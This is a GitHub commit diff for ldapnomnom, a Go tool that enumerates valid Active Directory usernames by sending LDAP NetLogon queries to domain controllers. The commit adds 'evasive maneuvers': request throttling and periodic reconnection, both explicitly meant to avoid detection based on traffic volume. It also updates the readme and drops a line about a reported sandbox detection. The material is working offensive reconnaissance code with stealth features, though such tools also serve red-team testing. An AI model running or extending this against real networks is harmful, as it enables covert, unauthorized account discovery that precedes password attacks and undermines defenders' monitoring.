Skip to content

Commit 5e62bec

Browse files
committed
It's red vs blue
1 parent 098ca09 commit 5e62bec

File tree

2 files changed

+78
-49
lines changed

2 files changed

+78
-49
lines changed

main.go

+75-47
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,10 @@ func main() {
4646
inputname := flag.String("input", "", "File to read usernames from, uses stdin if not supplied")
4747
outputname := flag.String("output", "", "File to write detected usernames to, uses stdout if not supplied")
4848

49+
// evasive maneuvers
50+
throttle := flag.Int("throttle", 0, "Only do a request every N ms, 0 to disable")
51+
maxrequests := flag.Int("maxrequests", 0, "Disconnect and reconnect a connection after n requests, 0 to disable")
52+
4953
maxservers := flag.Int("maxservers", 8, "Maximum amount of servers to run in parallel")
5054
maxstrategy := flag.String("maxstrategy", "fastest", "How to select servers if more are found than wanted (fastest, random)")
5155
parallel := flag.Int("parallel", 8, "How many connections per server to run in parallel")
@@ -242,68 +246,92 @@ func main() {
242246

243247
var jobs sync.WaitGroup
244248

249+
var throttleTimer *time.Ticker
250+
if *throttle > 0 {
251+
throttleTimer = time.NewTicker(time.Millisecond * time.Duration(*throttle))
252+
}
253+
245254
jobs.Add(*parallel * len(servers))
246255
for _, server := range servers {
247256
for i := 0; i < *parallel; i++ {
248257
go func(server string) {
249-
connectMutex.Lock()
250-
251-
if connectError != nil {
252-
connectMutex.Unlock()
253-
jobs.Done()
254-
return
255-
}
258+
var requests int
259+
reconnectLoop:
260+
for {
261+
connectMutex.Lock()
262+
if connectError != nil {
263+
connectMutex.Unlock()
264+
jobs.Done()
265+
return
266+
}
256267

257-
var conn *ldap.Conn
258-
switch tlsmode {
259-
case NoTLS:
260-
conn, err = ldap.Dial("tcp", fmt.Sprintf("%s:%d", server, *port))
261-
case StartTLS:
262-
conn, err = ldap.Dial("tcp", fmt.Sprintf("%s:%d", server, *port))
263-
if err == nil {
264-
err = conn.StartTLS(&tls.Config{ServerName: server})
268+
var conn *ldap.Conn
269+
switch tlsmode {
270+
case NoTLS:
271+
conn, err = ldap.Dial("tcp", fmt.Sprintf("%s:%d", server, *port))
272+
case StartTLS:
273+
conn, err = ldap.Dial("tcp", fmt.Sprintf("%s:%d", server, *port))
274+
if err == nil {
275+
err = conn.StartTLS(&tls.Config{ServerName: server})
276+
}
277+
case TLS:
278+
config := &tls.Config{
279+
ServerName: server,
280+
InsecureSkipVerify: *ignoreCert,
281+
}
282+
conn, err = ldap.DialTLS("tcp", fmt.Sprintf("%s:%d", server, *port), config)
265283
}
266-
case TLS:
267-
config := &tls.Config{
268-
ServerName: server,
269-
InsecureSkipVerify: *ignoreCert,
284+
285+
if err != nil {
286+
log.Printf("Problem connecting to LDAP %v server: %v", server, err)
287+
connectError = err
288+
jobs.Done()
289+
connectMutex.Unlock()
290+
return
270291
}
271-
conn, err = ldap.DialTLS("tcp", fmt.Sprintf("%s:%d", server, *port), config)
272-
}
273292

274-
if err != nil {
275-
log.Printf("Problem connecting to LDAP %v server: %v", server, err)
276-
connectError = err
277-
jobs.Done()
278293
connectMutex.Unlock()
279-
return
280-
}
281294

282-
connectMutex.Unlock()
283-
284-
for username := range inputqueue {
285-
request := ldap.NewSearchRequest(
286-
"", // The base dn to search
287-
ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false,
288-
fmt.Sprintf("(&(NtVer=\x06\x00\x00\x00)(AAC=\x10\x00\x00\x00)(User="+username+"))"), // The filter to apply
289-
[]string{"NetLogon"}, // A list attributes to retrieve
290-
nil,
291-
)
292-
response, err := conn.Search(request)
293-
if err != nil {
294-
if v, ok := err.(*ldap.Error); ok && v.ResultCode == 201 {
295+
for username := range inputqueue {
296+
// do throttling if needed
297+
if throttleTimer != nil {
298+
<-throttleTimer.C
299+
}
300+
301+
request := ldap.NewSearchRequest(
302+
"", // The base dn to search
303+
ldap.ScopeBaseObject, ldap.NeverDerefAliases, 0, 0, false,
304+
fmt.Sprintf("(&(NtVer=\x06\x00\x00\x00)(AAC=\x10\x00\x00\x00)(User="+username+"))"), // The filter to apply
305+
[]string{"NetLogon"}, // A list attributes to retrieve
306+
nil,
307+
)
308+
response, err := conn.Search(request)
309+
if err != nil {
310+
if v, ok := err.(*ldap.Error); ok && v.ResultCode == 201 {
311+
continue
312+
}
313+
log.Printf("failed to execute search request: %v", err)
295314
continue
296315
}
297-
log.Printf("failed to execute search request: %v", err)
298-
continue
299-
}
300316

301-
// Did we catch something?
302-
res := response.Entries[0].Attributes[0].ByteValues[0]
303-
if len(res) > 2 && res[0] == 0x17 && res[1] == 00 {
304-
outputqueue <- username
317+
// Did we catch something?
318+
res := response.Entries[0].Attributes[0].ByteValues[0]
319+
if len(res) > 2 && res[0] == 0x17 && res[1] == 00 {
320+
outputqueue <- username
321+
}
322+
323+
// Should we start a new connection to avoid detection
324+
requests++
325+
if *maxrequests != 0 && requests == *maxrequests {
326+
requests = 0
327+
conn.Close()
328+
continue reconnectLoop
329+
}
305330
}
331+
// No more input in channel, bye bye from this worker
332+
break
306333
}
334+
307335
jobs.Done()
308336
}(server)
309337
}

readme.MD

+3-2
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,8 @@ Looks for enabled normal user accounts. No Windows audit logs generated. High sp
1111
- Outputs to stdout (default) or file
1212
- Parallelized, multiple connections to multiple servers (defaults to 8 servers, 8 connections per server)
1313
- Shows progressbar if you're using both input and output files
14+
- Evasive maneuvers: Use --throttle 20 for a 20ms delay between each request (slows everything down to a crawl)
15+
- Evasive maneuvers: Use --maxrequests 1000 to close connection and reconnect after 1000 requests in each connection (try to avoid detection based on traffic volume)
1416

1517
### Download auto built binaries from [releases](https://github.com/lkarlslund/ldapnomnom/releases) or build and install with this Go command
1618

@@ -21,7 +23,7 @@ go install github.com/lkarlslund/ldapnomnom@latest
2123
### Usage
2224

2325
```bash
24-
ldapnomnom [--server dc1.domain.suffix[,dc2.domain.suffix] | --dnsdomain domain.suffix] [--port number] [--tlsmode notls|tls|starttls] [--input filename] [--output filename [--progressbar]] [--parallel number-of-connections] [--maxservers number-of-servers] [--maxstrategy fastest|random]
26+
ldapnomnom [--server dc1.domain.suffix[,dc2.domain.suffix] | --dnsdomain domain.suffix] [--port number] [--tlsmode notls|tls|starttls] [--input filename] [--output filename [--progressbar]] [--parallel number-of-connections] [--maxservers number-of-servers] [--maxstrategy fastest|random] [--throttle n] [--maxrequests n]
2527
```
2628
2729
### Examples
@@ -42,7 +44,6 @@ Look for username lists to feed into this elsewhere - for instance the 10M list
4244
4345
- No Windows event logs are generated (tested on Windows 2016 / 2019)
4446
- Requires custom network level monitoring (unencrypted LDAP analysis or traffic volume for LDAPS)
45-
- One user has reported sandbox detection by LDAP query volume
4647
4748
## Mitigation
4849

0 commit comments

Comments
 (0)